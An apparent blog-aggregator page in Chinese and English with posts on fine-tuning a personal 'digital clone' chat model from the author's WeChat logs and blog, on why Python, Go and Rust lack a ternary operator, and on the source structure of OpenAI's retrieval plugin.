当我收到一条微信消息,内容为 A,我回复了 B,那么这里是有一些原因的,这些原因中的一部分,储存在我物理脑袋的七八十亿个神经元里,理论上,如果我产生的数据足够多,也许几千亿条,那么一个参数够大的人工智能模型,就能非常接近我的脑子,10万条也许少了一些,但也足以让模型的60亿个参数里改变一部分,使其相较于原始的预训练模型,更接近我一点。

此外它还有个更大的缺点,就是蹦不出来几个字,回答非常简略,这虽然符合我很多时候的微信聊天风格,但并不是我想要的,我想要它说更多话。

此时我忽然想到了我的博客,如何能把这些博客转换为问答呢,我想到了 chatgpt ,在我精心构造的 prompt 之下,它成功把我博客文章的一段文本,变成了多个对话形式的问答:

某些时候 chatgpt 会返回一些不符合格式的内容,所以我写了一个校对脚本,来将各种不符合规则的返回,统统修改为标准的json,且字段名不变。

然后我将其封装为一个接口,放在了香港的服务器上,并在我的电脑上写了一个脚本,把我的博客文章按照500字划分,拿去批量转成问答,受限于chatgpt的接口速度,我差不多又花了一晚上,才把我的两百多篇博文,转换成了差不多 5000 个对话数据集。

此时我面临一个选择,如果将博客对话加到微信对话数据集里去训练,那么博客对话占比太低,可能影响会非常小,也就是说跟之前的模型差别不大;另一个选择是单纯用文章的这些数据,去训练一个新模型。

我向 6pen 的算法老哥寻求帮助,在确定模型权重可以融合并想办法从他那顺到融合脚本后,采用了后一种方式。

5000个问答,训练速度很快,一两个小时就够了,下午我一边写文档一边瞅一眼训练进度,下班之前训练完毕,我开始进行模型的融合,让之前的用微信聊天记录训练的模型,和用我的博客训练的模型进行融合。

两个模型的权重可以自由配置,我尝试了多种不同的比例,考虑到模型收敛过程中 loss 还有一些反弹,我还尝试了不同步数的模型版本

我整晚整晚和这些模型对话,找到效果最好的,但我发现,我似乎很难找出来,这些模型,有一些不同的表现,有的会比较暴躁,有的像舔狗一样,有些特别高冷,有些则很热情,然后我意识到,某种程度上,这或许是我的不同面,这么理解虽然肯定会让搞深度学习,并对其中原理烂熟于胸的人嗤之以鼻,但不失一些浪漫。

最终我发现,聊天和文章两个模型,权重比为 7 比 2 ,且采用第 6600 步保存的模型,融合效果在更多时候,都要更好一点,当然也可能是那个时候已经半夜两点,我的判断力有所下降,但无论如何,我就把他确定为最终模型了。

我和他聊了很多。

很明显,他和 chatgpt 差的极远,没办法帮我写代码,或者写文案,也不够聪明,因为训练用的数据不包含多轮对话,所以多轮对话的理解力更差,与此同时,他对我也不算特别了解,除了知道自己的名字(也就是我的名字),我的其他很多信息,他其实并不能准确回答,但是,他经常会说一些简单的几个字,让我有一种熟悉的感觉,也可能是错觉,谁知道呢。

总的来说,现在存在的所有广为人知的文本大模型,都是用海量的数据训练的,训练过程会尽可能包含全人类所产生的所有信息,这些信息让模型的亿万参数得以不断优化,例如第2043475个参数增加4,第9047113456个参数减少17,然后得到更聪明的神经网络模型。

这些模型变得越来越聪明,但它们更像是人类的,而非个体的,当我用我自己的这些数据去重新训练模型时,我能得到完全不一样的东西,一个更靠近个体的模型,虽然无论是我产生的数据量,还是我采用的预训练模型的参数量和结构,可能都无法支撑起一个能够和我的脑子差不多的模型,但对此进行的尝试,依然非常有意思。

我将这个网页重新部署了一下,并在中间加了一层 serverless 做保护,因此,现在所有人都可以去试试和这个我的数字版聊天,服务由我的祖传V100服务器提供,并且只有一台,所以如果人多的话,可能会有各种问题,链接我会放在最下面。

积极的,发自内心的产出更多的数据,就越有可能在未来获得更接近你的数字拷贝,这或许会有一些道德,甚至伦理问题,但这是大概率会发生的事情,之后我的数据积累的更多,或有更好的预训练模型,训练方式,我可能随时都会重新再次尝试训练,这不会是一个盈利,或任何跟商业沾边的项目,这某种程度上算是我自己追寻自己的一种方式。

这样一想,人生似乎都少了一些孤独感。

 

我的数字克隆在线聊天:https://ai.greatdk.com

我使用和参考的项目:

 

by DK at April 07, 2023 05:09 AM

April 04, 2023

pythoncat

Why don't Python, Go and Rust have a ternary conditional operator?

Hello readers! This article is written by a Chinese author named 豌豆花下猫, who is writing his first English article with the super help of ChatGPT. I hope that this article will provide valuable insights for developers interested in language design.(另致中文读者:这篇英文是在 ChatGPT 辅助下翻译而成的,为了保证阅读体验,我建议你阅读原版
The ternary operator is a common syntax shortcut used in many programming languages to simplify conditional logic by allowing developers to execute different blocks of code based on specific conditions. However, Python, as well as two emerging popular languages, Go and Rust, do not have a ternary conditional operator.
In this article, we will analyze the process of Python designing its conditional expression syntax and explain why it adopted its current unique implementation. We will also examine why other languages have abandoned ternary traditional operator.
It is worth noting that, like most articles in the ”Python Whydo” series, this article focuses on a seemingly small syntax point. However, understanding the rationale, history and philosophy behind language design can enhance our programming skills and lead to clearer and more creative thinking.

What is the ternary operator?

Ternary operator commonly represented as “?:”, is a syntax shortcut that simplify conditional logic by allowing developers to execute different blocks of code based on specific conditions. The syntax takes the form of condition ? expression1 : expression2, where expression1 is taken if condition is true, and expression2 is taken if condition is false.
The simplified syntax form of a ? b : c can be read as “if the condition a is true, then b is returned; otherwise, c is returned.”
Ternary operator serves as a shorthand for the common if-else structure, and is frequently used to perform conditional checks and value assignments in a single statement.
// use if-else 
if (a > b) {
    result = x;
} else {
    result = y;
}

// use the ternary operator
result = a > b ? x : y;
There are many programming languages that have adopted this syntax, including C, C#, C++, Java, JavaScript, PHP, Perl, Ruby, Swift, and many others. Undoubtedly, it is the mainstream design solution in the programming language community and remains so to this day.
This syntax is highly concise and efficient and has strong code readability (if you are not encountering it for the first time), making it a favorite of many developers.
However, it is not without its drawbacks. Python is the most famous challenger to this syntax design, and in the following section, we will explore why Python has taken a different approach.

Vote from the Python community

Python was first released in 1991, but for the next 15 years, apart from the if-else syntax, it did not support ternary operator or any other conditional expression. Even after the introduction of conditional expression in 2006, there was a long and winding debate within the community, making it a highly challenging syntax to design.
In February 2003,  PEP 308 - Conditional Expressions was proposed in response to frequent requests for the addition of if-then-else (ternary) expressions. The goal was to choose a solution that would be widely supported by the community.
Soon, several proposals emerged within the community, with only a few people preferring to do nothing.
One proposal was to use punctuation to construct ternary operator, which is the same as the syntax introduced earlier:
<condition> ? <expression1> : <expression2>
This proposal received significant support, and Eric Raymond even implemented this. However, Guido gave two reasons for his opposition: the colon already has many uses in Python (even though it would actually not be ambiguous, because the question mark requires a matching colon); for people not used to C-derived language, it is hard to understand.
Another proposal suggested using a combination of existing and new keywords by introducing a new ‘then’ keyword in conjunction with the existing ‘else’ keyword:
<condition> then <expression1> else <expression2>
This proposal offers several benefits, such as readability, no need for parentheses, no impact on the meaning of existing keywords, lower risk of confusion with statement syntax, and avoidance of additional burden on the colon operator. However, a drawback is that it entails implementation costs associated with introducing a new keyword.
There were other proposals that were similar to the previous one in concept, but did not receive as much support as the first two proposals.
(if <condition>: <expression1> else: <expression2>)
<condition> and <expression1> else <expression2>
<expression1> if <condition> else <expression2>
cond(<condition>, <expression1>, <expression2>)
It’s worth mentioning (if <condition>: <expression1> else: <expression2>), which is a flattened version of the conventional if-else syntax that is easy to understand. However, the downside is that it requires parentheses, which can be confused with generator expressions, and requires special treatment of the colon by the interpreter.
Another noteworthy proposal is <expression1> if <condition> else <expression2>, which was the recommended solution in the earliest version of PEP-308. However, some people find the style of not placing the condition first uncomfortable, and when “expression1” is long, it is easy to overlook its condition.
Here are all the design proposals that were voted on at the time:
Overall, developers wanted to introduce some form of if-then-else expression, but no proposal gained an absolute advantage in the vote. The main points of disagreement were whether to use punctuation, whether to reuse keywords, whether to reuse parentheses, whether to introduce new keywords, and whether to introduce new syntax.
Due to the scattered votes, the PEP was rejected at the time. The PEP stated, “a Python design principle has been to prefer the status quo whenever there are doubts about which path to take.”

The problem of using and-or for conditional selection

The above voting event occurred in March 2004, but the discussion on the related topic did not die down after the PEP was rejected, as people were always looking for a concise way to replace “if-else”.
In September 2005, someone in the mailing list proposed changing the logic of the “and” and “or” operators in Py3.0, suggesting that “and” and “or” operators be simplified to always return a boolean value instead of returning the last evaluated argument.
The reason for this proposal was that he used the <condition> and <expression1> or <expression2> syntax to implement conditional selection. However, this syntax behaves differently in Python than in some other languages, and if used improperly, it can result in bugs!
Take a look at the following two examples. What do you think their results will be?
a = True and True or "Python cat"

b = True and False or "Python cat"
For <condition> and <expression1> or <expression2>, if the condition is false, expression2 is evaluated and returned directly. If the condition is true, expression1 is evaluated first. If it is also true, expression2 will not be evaluated further. If expression1 is false, expression2 will be evaluated.
Therefore, the variable a in the above example will be “True”, while b will be “Python cat”.
In the previous article ”Why Python Supports Arbitrary Truth Value Testing?”, we discussed the special nature of truth value testing in Python. When applied to the above structure, more subtle issues may arise. For example, the author of the email encountered a complex number “0+4i” as “expression1”, which is evaluated as false, leading to the unexpected return of “expression2” instead of “expression1”!
Before a better solution was found, “and-or” was a common conditional selection syntax, which was also mentioned in PEP-308. It was also considered ugly and require much more effort to understand.
This email once again sparked a discussion in the community about conditional selection syntax, with many experts joining the conversation.
From my current perspective, developers were not satisfied with the status quo of “if-else”, but the popular “and-or” syntax at the time was not good enough. Therefore, people hoped that Python could design a new standardized syntax to solve this pain point.

Unusual conditional expression

After 10 days of email discussion, Guido van Rossum ultimately decided to add a conditional expression with the syntax X if C else Y. As a result, PEP-308 was reopened and updated, and it was soon implemented in the 2.5 version the following year.
As mentioned earlier, this solution made some people uncomfortable because it did not put conditional logic at the forefront.
So why did it end up being the winner? Is it the optimal design?
Undeniably, the decisive factor was Guido. Since the community did not form a majority opinion when voting a year and a half ago, he exercised his BDFL (Benevolent Dictator For Life) decision-making power to decide on what he believed to be the best solution.
X if C else Y is very easy to understand and highly readable. It continues the style of “explicit is better than implicit” by using the intuitive and conversational “if-else” instead of introducing potentially confusing punctuation, just like how Python chooses the words “and” and “or” instead of the symbols ”&&” and ”||“.
Although the adjusted syntax order may require some adjustment, it has many advantages. First, it only needs to reuse the two keywords “if-else” without introducing other syntax elements like “then” and “when”, or the cumbersome (if <condition>: <expression1> else: <expression2>).
Secondly, in order to verify the effectiveness of X if C else Y, Guido examined all the “and-or” combinations in the standard library and found that those written as C and X or Y could be replaced by X if C else Y. The situation in the standard library proved that this new syntax is feasible.
Looking back at this history, we can trace a clue: Python did not design the ternary operator “?:” mainly because it did not fit the clear and intuitive design style of Python. The main intention behind using the X if C else Y design was actually to eliminate the pitfalls of the “and-or” syntax. This design is concise and easy to read.
Overall, Python designers highly value readability and maintainability. The decision to create a conditional expression syntax instead of adopting the ternary operator was the result of open discussion, careful evaluation, and trade-offs.

Why don’t Go and Rust have the ternary operator?

After examining the design reasons for Python, let’s now look at two other most popular languages.
First is the Go language, which has a specific question in its FAQ: “Why does Go not have the ?: operator?“.
Go language does not support the ?: operator and instead recommends using the native “if-else” syntax. The explanation in the documentation is brief, with only one sentence:

The reason ?: is absent from Go is that the language’s designers had seen the operation used too often to create overly complex expressions. The if-else form, although longer, is unquestionably clearer. A language needs only one conditional control flow construct.

Moving on to the Rust language, there doesn’t seem to be any explanation in its official documentation about the lack of support for the ternary operator. However, after doing some research, I found a fascinating story: in June 2011, Rust once introduced the ternary operator (#565), but six months later, the designers realized that this feature was redundant and removed it (#1698#4632)!
Why was the ternary operator redundant in Rust? Because its if syntax is not a “statement” like in other languages, but an “expression”, which means that you can directly assign the if expression to a variable:
// Gets 5 if the condition is true, otherwise 6
let number = if condition { 5 } else { 6 };
This syntax is simple enough - it’s just taking the familiar “if-else” and using it directly for assignment. It’s so convenient that replacing it with the ternary operator would feel like unnecessary complication.
Additionally, Rust uses curly braces to delimit code blocks, so the curly braces in the above example can contain multiple expressions and support line breaks, as shown in this example:
let x = 42;
let result = if x > 50 {
    println!("x is greater than 50");
    x * 2 // This is an expression that will assign its returned value to the variable 'result'
} else {
    println!("x is less than or equal to 50");
    x / 2
};
This usage is impossible in Python. The key difference is that in Rust, if is an expression rather than a statement.
The difference between these two concepts is:
  • An expression is an evaluatable code snippet composed of variables, constants, operators, etc., whose evaluation result can be used in other expressions or statements.
  • A statement is typically a single or group of instructions that perform a task, such as assignment statements, conditional statements, loop statements, etc. It has no return value (or is empty) and cannot be used for assignment operations.
In addition to Rust, there are also other programming languages in which if is an expression instead of a statement, such as Kotlin, Scala, F#, and Swift. They theoretically do not need to use the ternary operator. (As an aside, Swift is an exception, and it also has a ternary operator. Kotlin has the “?: ” operator, note that the two symbols are connected together. val result = a ?: b means: if a is not null, assign it to result; otherwise, assign b to result.)
Due to this language design difference, Rust and Python/Go have naturally different starting points when facing the question of whether to support the ternary operator. Knowing this difference will give us a clearer understanding of programming languages.
Returning to the question of this article: Why do some programming languages not adopt the mainstream syntax of the ternary operator?
Undeniably, the “?: ” syntax is indeed a concise and useful design. However, the potential drawbacks of using punctuation are that they are too abstract, and their readability is not as strong as “if-else”. Additionally, different language design styles and usage habits can lead to different choices.
After some twists and turns, Python ultimately designed a unique conditional expression. The Go language explicitly states that it does not support the ternary operator. Rust designed it initially but later abandoned it, mainly due to the language foundation of the if expression.
After examining these three popular languages, I believe you have found a satisfying answer.

Author’s Note

This article is based on a Chinese translation and may contain inaccuracies or errors in expression. The author welcomes any feedback or corrections from readers.
Finally, this article is part of the ”Python whydo” series and all articles have been archived on GitHub. Feel free to star and raise any issues.

April 04, 2023 12:00 AM

April 03, 2023

pythoncat

为什么 Python、Go 和 Rust 都不支持三元运算符?

在编程时,我们经常要作条件判断,并根据条件的结果选择执行不同的语句块。在许多编程语言中,最常见的写法是三元运算符,但是,Python 并不支持三元运算符,无独有偶,两个最热门的新兴语言 Go 和 Rust 也不支持!
为什么 Python 不支持三元运算符呢?本文将主要分析 Python 在设计条件选择语法时的过程,科普为什么它会采用现今的与众不同的实现方案,同时,我们也将考察为什么其它语言也要抛弃传统的三元运算符。
在开篇之前,我再声明一下:就像“Python为什么”系列的大部分文章一样,本文关注的仅是一个很小的语法点,但它并不是“茴香豆有几种写法”那种毫无意义的话题。因为,细微之处见真功夫,深入研究语言设计背后的原因、历史和哲学,可以让我们在编程时有更加清晰和自由的思维。

什么是三元运算符?

三元运算符通常指的是“?:”,其语法形式为:condition ? expression1 : expression2,如果 condition 为真,则取 expression1,若不为真,则取 expression2。
语法简化形式“a ? b : c”,可以读成“如果 a 条件成立,则为 b,否则为 c”。
三元运算符是对普通一重 if-else 结构的简化,常用于在一条语句中同时实现条件判断和取值操作。
// 常规 if-else 
if (a > b) {
    result = x;
} else {
    result = y;
}

// 简化后的写法
result = a > b ? x : y;
采用了这种语法设计的编程语言有很多,比如 C、C#、C++、Java、JavaScript、PHP、Perl、Ruby、Swift 等等。毫无争议,它就是编程语言界的主流设计方案(至今仍是)。
这种语法非常简洁高效,代码的可读性也很强(如果你不是第一次接触的话),深得很多人的喜欢。
但是,它并非毫无缺点。Python 是这种语法设计的最著名的挑战者,接下来,我们将看看为什么 Python 要另辟蹊径。

Python 社区的投票

Python 发布于 1991 年,但在接下来的 15 年里,除了 if-else 语法外,它并不支持三元运算符和其它条件表达式。而且,在 2006 年引入条件表达式前,社区对此进行了漫长而曲折的争论,可以说这是一个设计得很艰难的语法了。
最初,由于时常有人请求添加 if-then-else(三元)表达式,因此在 2003 年 2 月,PEP 308 – Conditional Expressions 被提了出来,目的是让社区选出一个让多数人支持的方案。
很快,除了少部分人希望啥也不做外,社区里出现了好几种方案:
(1)使用标点符号构建的三元运算符
即常规的三元运算符,跟前文介绍的语法一样:
<condition> ? <expression1> : <expression2>
这个方案的呼声挺高,有开发者甚至已提交了实现代码。但是,Guido 给出了两个反对的理由:冒号在 Python 中已经有许多用途(即使它实际上不会产生歧义,因为问号需要匹配冒号);对于不习惯 C 衍生语言的人来说,理解起来很困难。
(2)使用现有和新的关键字构建
引入新的“then”关键字,结合现有的“else”关键字:
<condition> then <expression1> else <expression2>
它的优点是简单明了、不需要括号、不改变现有关键字的语义,不大可能与语句混淆,而且不需要重载冒号。缺点是引入新关键字的实现成本较高。
(3)其它思路
跟上一种方案的思路相似,但没有上述两类方案的支持度高。
(if <condition>: <expression1> else: <expression2>)
<condition> and <expression1> else <expression2>
<expression1> if <condition> else <expression2>
cond(<condition>, <expression1>, <expression2>)
值得一提的是(if <condition>: <expression1> else: <expression2>) ,它是常规 if-else 语法的扁平化,容易理解,但缺点是需要使用圆括号,容易跟生成器表达式混淆,而且需要解释器对冒号做特殊化处理。
另外值得一提的是<expression1> if <condition> else <expression2>,它是 PEP-308 最早版本的推荐方案,但是这种不将条件放在首位的风格让一些人感觉不舒服,而且,当“expression1”很长的时候,很容易就忽略掉它的条件。
当时参与投票的全部设计方案:
总体上,开发者们希望引入某种形式的 if-then-else 表达式,但投票后却没有哪种方案能取得绝对的优势。概括起来,分歧的问题主要有:是否用标点符号、是否复用关键字、是否复用圆括号、是否引入新关键字、是否引入新语法……
由于得票太分散,因此,这个 PEP 在当时被拒绝了。PEP 中写道:“Python 的一个设计原则是在不确定采取哪条路线时,则保持现状。

and-or 用于条件选择的问题

以上的投票事件发生在 2004 年 3 月,但是,在 PEP 被拒绝后,相关话题的讨论并未平息,因为大家总想找一种简洁的方式来替换“if-else“。
时间到了 2005 年 9 月,邮件组中有人提议在 Py3.0 中变更”and”与”or”操作符的逻辑,提议将”and” 和 “or” 运算符简化成始终返回布尔值,而不是返回最后一个被求值的参数。
之所以发起这个提议,原因是他使用了<condition> and <expression1> or <expression2>的方式来实现条件判断与选择。但是这种写法在 Python 中的行为跟有些语言并不一样,使用不严谨的话,可能会酿成 Bug!
看看下面的两个例子,你觉得它们会得到什么结果呢?
a = True and True or "Python猫"

b = True and False or "Python猫"
对于<condition> and <expression1> or <expression2> ,若 condition 为假,则会直接对 expression2 求值并返回结果;若 condition 为真,则先对 expression1 求值,若也为真,则不会继续对 expression2 求值,若 expression1 不为真,则对 expression2 求值。
因此,上述例子得到的 a 是“True”,而 b 会得到“Python猫”。
本系列的《Python 为什么能支持任意的真值判断? 》介绍过 Python 在真值判断的特殊之处,运用到以上结构中,将出现更不易察觉的问题。比如,该邮件的作者就是遇到了“expression1”为复数“0+4i”,这个数的真值判断为 False,因此导致最后返回的不是预期的“expression1”,而是“expression2”!
在没有更好的方案前,“and-or”是比较常见的条件选择写法,PEP-308 也提及了它,也指出了当“expression1”为假的情况,还认为这种方案是丑陋和令人费解的。
这封邮件再次引发了社区对条件选择语法的讨论,大佬们纷纷登场。
以我现在的视角分析,其实就是开发者们不满足于“if-else”的现状,但是当时流行的“and-or”写法并不够好,因此,大家期望 Python 设计出新的规范性语法,来解决这个痛点。

与众不同的条件表达式

在经过 10 天的邮件讨论后,Guido van Rossum 最终决定添加一个条件表达式,语法形式为X if C else Y 。因此,PEP-308 被重开和更新,并很快就在次年的 2.5 版本中实现了。
前文已提到过这个让一些人感觉不舒服的方案了,因为它没有将条件判断逻辑放在最前面。
那么,为什么最后的胜者会是它呢?这是不是最优的设计呢?
不可否认,起到决定性作用的原因是 Guido。由于社区在一年半前投票时没有形成多数意见,因此他行使 BDFL (终身仁慈独裁者)的决策权力,裁定出一个他认为是最佳的方案。
X if C else Y 非常易于理解,可读性高。它延续了“明确优于隐式”的风格,使用了直观口语化的“if-else”,而不是引入可能引起混淆的标点符号,就像 Python 选择“and”和“or”两个单词,而不是“&&”和“||”两个符号,它们有着异曲同工之妙。
虽然调整后的语法顺序让人不太习惯,但其实这样的实现却大有好处。首先,它只需复用“if-else”两个关键字,而不需要引入“then”、“when”和其它语法要素,也不像(if <condition>: <expression1> else: <expression2>) 那样的繁琐。
其次,为了验证X if C else Y 的有效性,Guido 排查了标准库中所有“and-or”组合的写法,发现那些C and X or Y 写法都可以被X if C else Y 替换掉。标准库的情况,证明了这新的语法是可行的。
回顾这段历史,我们可以梳理出一条线索:Python 没有设计三元运算符“?:”,主要是因为它不符合 Python 明确直观的设计风格。最后采用X if C else Y 这种设计,主要的意图其实是消除“and-or”写法的隐患,这种设计简明易读,非常好用。
总体而言,Python 设计者非常看重可读性与可维护性,不采用三元运算符而创造条件表达式语法,这是一个经过了开放讨论、谨慎评估与权衡取舍的结果。

Go、Rust 为什么不支持三元运算符?

考察完 Python 的设计原因后,我们再来考察“反派阵营”中两门最热门的语言。
首先是 Go 语言,官网的 FAQ 专门列出了一个问题:“Why does Go not have the ?: operator?”。
Go 语言不支持“?:”运算符,而是推荐使用原生的“if-else”写法。文档的解释很简短,只有一段话:

Go 语言没有 ?: 运算符,因为语言的设计者们经常看到它被用来创建难以理解的复杂表达式。虽然 if-else 形式比较长,但是它无疑更清晰易懂。一个语言只需要一个条件控制流结构

接着是 Rust 语言,它的官方文档中似乎没有任何关于不支持三元运算符的解释。但在查阅资料后,我发现它也有一段特殊的故事,非常有意思:在 2011 年 6 月时,Rust 曾经引入过三元运算符(#565),然而半年后,设计者意识到这个特性是多余的,因此又把它移除了(#1698#4632)!
为什么三元运算符在 Rust 是多余的呢?因为它的 if 语法并不像其它语言是“语句(statement)”,而是一个“表达式(expression)”,这意味着你可以直接将 if 表达式赋值给变量:
// 若条件为真,得到 5,否则 6
let number = if condition { 5 } else { 6 };
这种语法形式足够简单明了,不就是将大家都熟悉的“if-else”直接用于赋值么,太方便了,替换成三元运算符的话,确实有点画蛇添足之感。
另外,Rust 使用花括号划分代码块,因此上例的花括号内可以包含多条表达式,也支持换行,例如这个例子:
let x = 42;
let result = if x > 50 {
    println!("x is greater than 50");
    x * 2 // 这是一个表达式,将返回的值赋给 result
} else {
    println!("x is less than or equal to 50");
    x / 2 // 也是一个表达式,将返回的值赋给 result
};
这种用法,Python 是不可能做到的。最关键的区别在于,Rust 的 if 是表达式而不是语句。
这两个概念的区别是:
  • 表达式(expression)通常指的是由变量、常量、运算符等组成的一个可求值的代码片段,它的求值结果可以用到其它表达式或语句中。
  • 语句(statement)通常指的是完成某个任务的单个指令或一组指令,例如赋值语句、条件语句、循环语句等,它没有返回值(或者为空),不能用于赋值操作。
除了 Rust 外,还有一些编程语言中的 if 是表达式而不是语句,例如 Kotlin、Scala、F#、Swift,它们在理论上也不需要使用三元运算符。(题外话:Swift 是个例外,它也有三元运算符。Kotlin 有“?:”运算符,注意两个符号是连在一起的,val result = a ?: b 表示:如果 a 不为 null,则赋值给 result ;否则将 b 赋给 result
由于有这种语言设计层面的区别,因此在面对“是否要支持三元运算符”这个问题时,Rust 和 Python/Go 的思考角度有着天然不同的起点。知道了这种区别后,我们对编程语言会有更明晰地认知。
回到本文的问题:为什么有些编程语言不采用主流的三元运算符语法呢?
不可否认,“?:”确实是一种简洁好用的设计,然而,标点符号的负面影响是过于抽象,可读性并不及“if-else”那样强。另外,不同语言的设计风格与使用习惯,也会导致不同的选择。
Python 在经过一番波折后,最后设计出了与众不同的条件表达式。Go 语言明确表示不支持三元运算符。Rust 先设计后舍去,主要的原因在于 if 表达式的语言基础。
考察完这三个热门语言后,我相信你已收获了一个满意的答案。如果是这样,请点赞支持一下本文吧!
最后,本文出自“Python为什么”系列,全部文章已归档在 Github 上,欢迎 star 和提 issue。
PS.在强力的 ChatGPT 辅助下,我将本文翻译成了英文,欢迎阅读指正—>Why don’t Python, Go and Rust have a ternary conditional operator?

April 03, 2023 12:00 AM

March 29, 2023

pythoncat

ChatGPT 开源了第一款插件,都来学习一下源码吧!

3 月 23 日,OpenAI 又投出了一枚重磅炸弹:为 ChatGPT 推出插件系统!
此举意味着 ChatGPT 将迎来“APP Store”时刻,也就是围绕它的能力,形成一个开发者生态,打造出基于 AI 的“操作系统”!
插件系统将为 ChatGPT 带来质的飞跃,因为借助于插件服务,它可以获取实时的互联网信息、调用第三方应用(预定酒店航班、点外卖、购物、查询股票价格等等)。
ChatGPT 是一个无比聪明的大脑,而插件会成为它的眼睛、耳朵、手脚、甚至于翅膀,能力惊人,未来不敢想象!
官方目前提供了两个插件:
  • 一个网页浏览器。利用新必应浏览器的 API,实时搜索互联网内容,并给出答案和链接
  • 一个代码解释器。利用 Python 解释器,可以解决数学问题、做数据分析与可视化、编辑图片、剪辑视频等等,还支持下载处理后的文件
另外,OpenAI 还开源了一个知识库检索插件 chatgpt-retrieval-plugin ,这个插件通过自然语言从各种数据源(如文件、笔记、邮件和公共文档)检索信息。有了开源代码后,开发者可以部署自己的插件版本。
想象一下,假如我提供了一个“Python 知识库插件”,以所有官方文档作为数据源,那以后有任何 Python 使用上的问题,我就只需询问 ChatGPT,然后它调用插件并解析数据,最后返回给我准确的答案。这将节省大量的时间!
不仅如此,你还可以用书籍作为数据源,打造出“西游记知识库”、“红楼梦知识库”、“百科全书知识库”、“个人图书馆知识库”,等等;以专业领域的论文与学术期刊为数据源,创造出一个专家助手,从此写论文查资料将无比轻松;以苏格拉底、乔布斯、马斯克等名人的资料为数据源,创造出人格化的个人顾问……
作为第一个开源的 ChatGPT 插件,chatgpt-retrieval-plugin 项目一经发布,就登上 Github 趋势榜第一,发布仅一周就获得 11K stars。
这个项目完全是用 Python 写的,不管是出于学习编程的目的,还是为了将来开发别的插件作借鉴,这都值得我们花时间好好研究一下。
接下来,我将分享自己在阅读项目文档和源码时,收获到的一些信息。
首先,该项目含 Python 代码约 3 K,规模不算大。项目结构也很清晰,目录如下:
目录描述
datastore包含使用各种向量数据库提供程序存储和查询文档嵌入的核心逻辑
examples包括配置示例、身份验证方法和面向程序提供方的示例
models包含插件使用的数据模型,例如文档和元数据模型
scripts存放实用的脚本,用于处理和上传来自不同数据源的文件
server存放主要的 FastAPI 服务端实现
services包含用于任务(如分块、元数据提取和 PII 检测)的实用服务
tests包括各种向量数据库提供程序的集成测试
.well-known存储插件清单文件和 OpenAPI 格式,定义插件配置和 API 规范等信息
除去示例、测试、配置文件等内容外,最主要的三个目录如下:

datastore 数据存储

数据源的文本数据会被映射到低维度向量空间,然后存储到向量数据库中。官方已提供 Pinecone、Weaviate、Zilliz、Milvus、Qdrant、Redis 这几种数据存储方案的示例。另外,有几个 pull requests 想要加入 PostgreSQL 的支持,大概率将来会合入。
这里使用了抽象工厂设计模式 ,DataStore 是一个抽象类,每种数据存储库是具体的实现类,需要实现三个抽象方法:
(1)_upsert(chunks: Dict[str, List[DocumentChunk]]) -> List[str] 方法,接收一个字典参数,包含有 DocumentChunk 对象列表,将它们插入到数据库中。返回值为文档 ID 的列表。
(2)_query(queries: List[QueryWithEmbedding]) -> List[QueryResult] 方法,接收一个列表参数,包含被 embedding 的查询文本。返回一个包含匹配文档块和分数的查询结果列表。
(3)delete(ids: Optional[List[str]] = None, filter: Optional[DocumentMetadataFilter] = None, delete_all: Optional[bool] = None, ) -> bool 方法,根据 id 和其它过滤条件删除,或者全部删除。返回操作是否成功。
值得注意的是,该目录下的factory.py 模块使用了 Python 3.10 新引入的 match-case 语法,紧跟着 Python 社区的新潮流呢~

server 服务端接口

这个目录只有一个main.py 文件,是整个项目的启动入口。它使用了目前主流的 FastAPI 框架,提供了增删改查的几个 API,另外使用 uvicorn 模块来启动服务。
  • /upsert-file 接口,用于上传单个文件,将其转换为 Document 对象,再进行新增或更新
  • /upsert 接口,上传一系列的文档对象,用于新增或更新
  • /query 接口,传入一系列的文本条件,转成 QueryWithEmbedding 对象后,再从向量数据库查询
  • /delete 接口,根据条件删除或者全部删除数据库中的数据
在这几个接口中,增改删功能主要是给开发者/维护者使用的,ChatGPT 只需调用插件的查询接口。因此,代码中还创建了一个“/sub”子应用,只包含/query 接口,提供给 ChatGPT 调用。
另外,它使用 FastAPI 的 mount 方法挂载了一个“/.well-known”静态文件目录,暴露了关于本插件的基本信息,例如名称、描述、作者、logo、邮箱、提供给 OpenAPI 的接口文档等等。

services 任务处理方法

这个目录下是一些通用的函数,比如下面这些:
(1)chunks.py 文件包含了将字符串和 Document 对象分割成小块、以及为每个块获取嵌入向量的函数。
(2)file.py 文件提供了从上传的文件中提取文本内容及元数据的函数。目前支持解析的文件类型包括 PDF、纯文本、Markdown、Word、CSV 和 PPTX。
(3)openai.py 文件包含两个函数:get_embeddings 函数使用 OpenAI 的 text-embedding-ada-002 模型对给定的文本进行嵌入。get_chat_completion 函数使用 OpenAI 的 ChatCompletion API 生成对话。
整个而言,这个插件的几个接口功能很清晰,代码逻辑也不算复杂。核心的文本嵌入操作是借助于 openai 的 Embedding 接口,文本分块信息的存储及查询操作,则是依赖于各家向量数据库的功能。
YouTube 上有博主手画了一张示意图,字体虽潦草,但大家可以意会一下:
这个视频 值得推荐一看,因为 up 主不仅简明地介绍了插件的工作原理,还手把手演示如何部署到 Digital Ocean、如何修改配置、如何调试,而且他有 ChatGPT 的插件权限,可以将自己部署的插件接入 ChatGPT,现场演示了知识库插件的使用!
目前,关于 ChatGPT 插件的介绍、开发及配置等资料还比较少,毕竟是新推出的。但是,申请 waitlist 的个人和组织已经数不胜数了,一旦开放使用,各式各样的插件一定会像 Python 社区丰富的开源库一样,也将极大扩展 ChatGPT 的生态。
最后,插件 chatgpt-retrieval-plugin 的官方文档是最为详细的一手资料,推荐大家研究一番。

March 29, 2023 12:00 AM

March 17, 2023

greatdk

这个世界变得更精彩,但好像也更无聊了

那是一个下午,办公室的咖啡机坏了,我在楼下买了一杯厚乳拿铁,上楼后发现同事都出去吃午饭了,我一个人坐在窗边的工位上,升起的阳光正好覆盖在了我的电脑屏幕上,浏览器的文字都变得模糊起来,我眯起眼睛,试图看清屏幕上的字,依稀能看到我的代码编辑器,正在用 post 方法请求 openai 的接口,header 里的鉴权还空着,等着我写入 API KEY,光标就在此处闪烁,然后我长呼了一口气,第一次有了这个感觉。

从去年 4 月开始做 AI 绘画的产品(也就是 6pen )开始,我一直处在兴奋状态中,连人都胖了5斤,我带着团队充满干劲的打磨产品,探索新的模式,研究新的技术,三天两头就跑一个新的什么 AI 模型,看论文,看行业最新的分析,看哪个大厂又出了个什么好玩意儿,看哪些噱头包装的多好,然后我们的产品也获得很多的用户的反馈,数据的增长,各种各样的靠谱的不靠谱的合作。

